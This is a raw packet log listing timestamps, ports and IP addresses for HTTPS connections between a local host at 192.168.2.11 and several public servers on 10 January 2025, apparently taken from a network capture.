Jan 10, 2025 18:37:42.747133970 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.747478962 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.748244047 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.748323917 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.748775959 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.748789072 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.749890089 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.749968052 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.750391006 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.750499964 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.751343966 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.751357079 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.751627922 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.751692057 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.751885891 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.751900911 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.751933098 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.752005100 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.752013922 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.752187014 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.752213955 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.753225088 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.753302097 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.753570080 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.753624916 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.753685951 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.753691912 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.759901047 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.760118008 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.760129929 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.761163950 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.761233091 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.761967897 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.762037039 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.762700081 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.762705088 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.791999102 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.792040110 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.792047024 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.807620049 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.807642937 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.848462105 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.848889112 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.848921061 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849067926 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.849101067 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849147081 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.849267006 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849747896 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849787951 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.849800110 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849853039 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.849894047 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.849903107 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.853454113 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.853779078 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.853811026 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.853832006 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.853854895 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.853919983 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.863281012 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.863518953 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.863559961 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.863584995 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.863621950 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.863663912 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.863670111 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.864089966 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.864120007 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.864129066 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.864145994 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.864181995 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.864187002 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.864341021 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.865016937 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.865061998 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.865067959 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869736910 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869749069 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869777918 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869788885 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.869792938 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869801044 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869813919 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.869832039 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.869867086 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.870415926 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.870439053 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:42.870502949 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.872004986 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.872040987 CET	443	49730	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:42.872092009 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.872600079 CET	49729	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.872616053 CET	443	49729	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:42.872761011 CET	49730	443	192.168.2.11	152.199.21.175
Jan 10, 2025 18:37:42.872771978 CET	443	49730	152.199.21.175	192.168.2.11
Jan 10, 2025 18:37:42.879856110 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.879904032 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.879913092 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.893805981 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893851042 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893882036 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893913984 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893933058 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.893946886 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893987894 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.893995047 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.894082069 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.894088984 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.894247055 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.894316912 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.894321918 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.898535967 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.898571014 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.898598909 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.898644924 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.898646116 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.898653984 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.906680107 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906728983 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906759024 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906780958 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.906790972 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906814098 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906841993 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.906928062 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906963110 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.906981945 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.906990051 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.907036066 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.907043934 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.911467075 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.911515951 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.911519051 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.911540031 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.911583900 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.911592007 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.916976929 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.932621956 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.937552929 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937693119 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937730074 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937737942 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.937766075 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937809944 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.937817097 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937855959 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937891960 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937891960 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.937906027 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.937946081 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.937952042 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938587904 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938626051 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938628912 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.938638926 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938677073 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.938683987 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938724995 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.938762903 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.938770056 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939148903 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939188004 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.939192057 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939203024 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939261913 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.939270020 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939321041 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939362049 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.939363003 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939378977 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.939440966 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.939448118 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.945409060 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.945427895 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.945472002 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.945497036 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.945513010 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.945549011 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.947211027 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.947228909 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.947308064 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.947331905 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.947376013 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.948512077 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.955780983 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.955879927 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.955914974 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.955921888 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.955940008 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.955979109 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.955982924 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.955990076 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.956022978 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.956533909 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.956840038 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.956872940 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.956887960 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.956893921 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.956938028 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.956942081 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.958628893 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.958636045 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.958672047 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.958688021 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.958702087 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.958733082 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.958760023 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.970047951 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.979490995 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:42.979511023 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.979764938 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.979823112 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.979887962 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.979897022 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.979919910 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.979969025 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.981965065 CET	49724	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:42.981978893 CET	443	49724	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:42.993271112 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993344069 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993374109 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993391037 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.993416071 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993597984 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993618011 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.993632078 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993671894 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.993822098 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993876934 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.993913889 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.993920088 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994472980 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994501114 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994519949 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.994529963 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994564056 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994565964 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.994575977 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.994627953 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.994635105 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995327950 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995358944 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995384932 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.995393038 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995431900 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.995436907 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995445967 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.995493889 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:42.995501041 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:42.999923944 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.999963045 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:42.999977112 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.000006914 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.000051975 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.021503925 CET	49732	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:43.021545887 CET	443	49732	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:43.021600008 CET	49732	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:43.021950006 CET	49732	443	192.168.2.11	104.17.25.14
Jan 10, 2025 18:37:43.021965027 CET	443	49732	104.17.25.14	192.168.2.11
Jan 10, 2025 18:37:43.025985003 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026072979 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026101112 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026127100 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.026140928 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026186943 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.026226044 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026395082 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026423931 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026442051 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.026448011 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.026498079 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.027621984 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.027631044 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.027668953 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.027692080 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.027698040 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.027739048 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.027762890 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.028666973 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.028685093 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.028738976 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.028745890 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.028791904 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.029652119 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.029684067 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.029721022 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.029726982 CET	443	49726	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.029758930 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.029782057 CET	49726	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.034197092 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.034238100 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.034246922 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.034260988 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.034321070 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.034327030 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.034364939 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.034405947 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.034873962 CET	49728	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.034888029 CET	443	49728	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.035296917 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035348892 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035360098 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.035391092 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035404921 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.035425901 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.035639048 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035690069 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.035696983 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035729885 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.035763025 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.038100958 CET	49727	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.038121939 CET	443	49727	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.048631907 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.048651934 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.048712969 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.048732996 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.048753977 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.048769951 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.049396038 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.049412012 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.049452066 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.049463987 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.049484968 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.049511909 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.050122976 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.050194025 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.050220966 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.050235987 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.050354958 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.050368071 CET	443	49725	151.101.66.137	192.168.2.11
Jan 10, 2025 18:37:43.050380945 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.050410032 CET	49725	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.054672003 CET	49733	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.054719925 CET	443	49733	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.054773092 CET	49733	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.055083990 CET	49733	443	192.168.2.11	104.18.11.207
Jan 10, 2025 18:37:43.055095911 CET	443	49733	104.18.11.207	192.168.2.11
Jan 10, 2025 18:37:43.055424929 CET	49734	443	192.168.2.11	151.101.66.137
Jan 10, 2025 18:37:43.055433989 CET	443	49734	151.101.66.137	192.168.2.11
